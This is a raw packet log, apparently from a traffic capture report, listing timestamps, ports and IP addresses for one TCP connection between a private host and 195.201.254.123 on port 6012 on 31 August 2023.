Aug 31, 2023 16:50:49.651077032 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651115894 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651137114 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651164055 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651187897 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651212931 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651237965 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651259899 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651304007 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651308060 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651328087 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651355028 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651386976 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651401997 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651416063 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651449919 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651474953 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651516914 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651540995 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651566029 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651591063 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651616096 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651638031 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651663065 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651690006 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651715040 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651736975 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651763916 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651772022 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651812077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651834011 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651859045 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651880980 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651906967 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651933908 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.651952982 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.651973963 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.652000904 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.652017117 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.652065039 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.652085066 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.652112007 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.652137041 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.652159929 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.652185917 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.652232885 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.673523903 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673564911 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673584938 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673604012 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673629999 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673649073 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673669100 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673690081 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673717022 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673748016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673768044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673796892 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673809052 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.673809052 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.673825979 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673857927 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673887014 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673917055 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673917055 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.673918009 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.673918009 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.673918009 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.673949003 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673966885 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.673979044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.673991919 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674010038 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674015999 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674041986 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674058914 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674072981 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674087048 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674103975 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674124002 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674134970 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674151897 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674165010 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674180031 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674196005 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674206972 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674226999 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674232960 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674257040 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674268007 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674288034 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674319029 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674319029 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674365044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674380064 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674393892 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674415112 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674443960 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674455881 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674473047 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674490929 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674501896 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674520969 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674532890 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674563885 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674567938 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674585104 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674598932 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674624920 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674628973 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674652100 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674666882 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674696922 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674710035 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674745083 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674745083 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674747944 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674797058 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674804926 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674844027 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674855947 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674875975 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674876928 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674916029 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674916983 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674941063 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.674947977 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674978971 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.674992085 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675009012 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675020933 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675039053 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675046921 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675070047 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675070047 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675112009 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675115108 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675133944 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675147057 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675175905 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675179958 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675204992 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675220013 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675234079 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675251961 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675265074 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675285101 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675298929 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675321102 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675328970 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675340891 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675358057 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675388098 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675415039 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675437927 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675441980 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675437927 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675437927 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675491095 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675522089 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675553083 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675580025 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675599098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675599098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675600052 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675607920 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675600052 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675636053 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675651073 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675651073 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675664902 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675678968 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675697088 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675698996 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675724983 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675731897 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675750017 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675756931 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675785065 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675791979 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675813913 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675817966 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675844908 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675852060 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675874949 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675879002 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675904989 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675934076 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.675985098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675985098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.675985098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676003933 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676034927 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676047087 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676064014 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676068068 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676095009 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676100016 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676124096 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676126003 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676157951 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676172018 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676187992 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676189899 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676218033 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676229954 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676249027 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676275969 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676279068 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676309109 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676331043 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676361084 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676364899 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676389933 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676400900 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676429987 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676439047 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676467896 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676479101 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676508904 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676517963 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676544905 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676557064 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676587105 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676597118 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676625967 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676635981 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676675081 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676696062 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676696062 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676717997 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676757097 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676760912 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676783085 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676796913 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676820993 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676836014 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676863909 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676875114 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676902056 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676913977 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676942110 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676955938 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.676981926 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.676995993 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677022934 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677037001 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677064896 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677078009 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677103996 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677117109 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677145958 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677158117 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677172899 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677197933 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677223921 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677237988 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677265882 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677278996 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677311897 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677319050 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677359104 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677366972 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677385092 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677397966 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677431107 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677434921 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677455902 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677474976 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677505970 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677515030 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677553892 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677592039 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677628040 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677628994 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677628040 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677628040 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677659988 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677670002 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.677706957 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.677782059 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.697175980 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.697226048 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.697267056 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.697273016 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.697352886 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.697352886 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.698837996 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.698882103 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.698923111 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.698952913 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.698965073 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.698985100 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.698985100 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699006081 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699032068 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699048042 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699069977 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699089050 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699121952 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699130058 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699150085 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699174881 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699214935 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699224949 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699254036 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699255943 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699274063 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699296951 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699325085 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699338913 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699381113 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699421883 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699435949 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699435949 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699495077 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699510098 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699553967 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699594021 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699594975 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699594975 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699625969 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699645042 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699659109 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.699687004 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.699728012 CEST	6012	49774	195.201.254.123	192.168.2.8
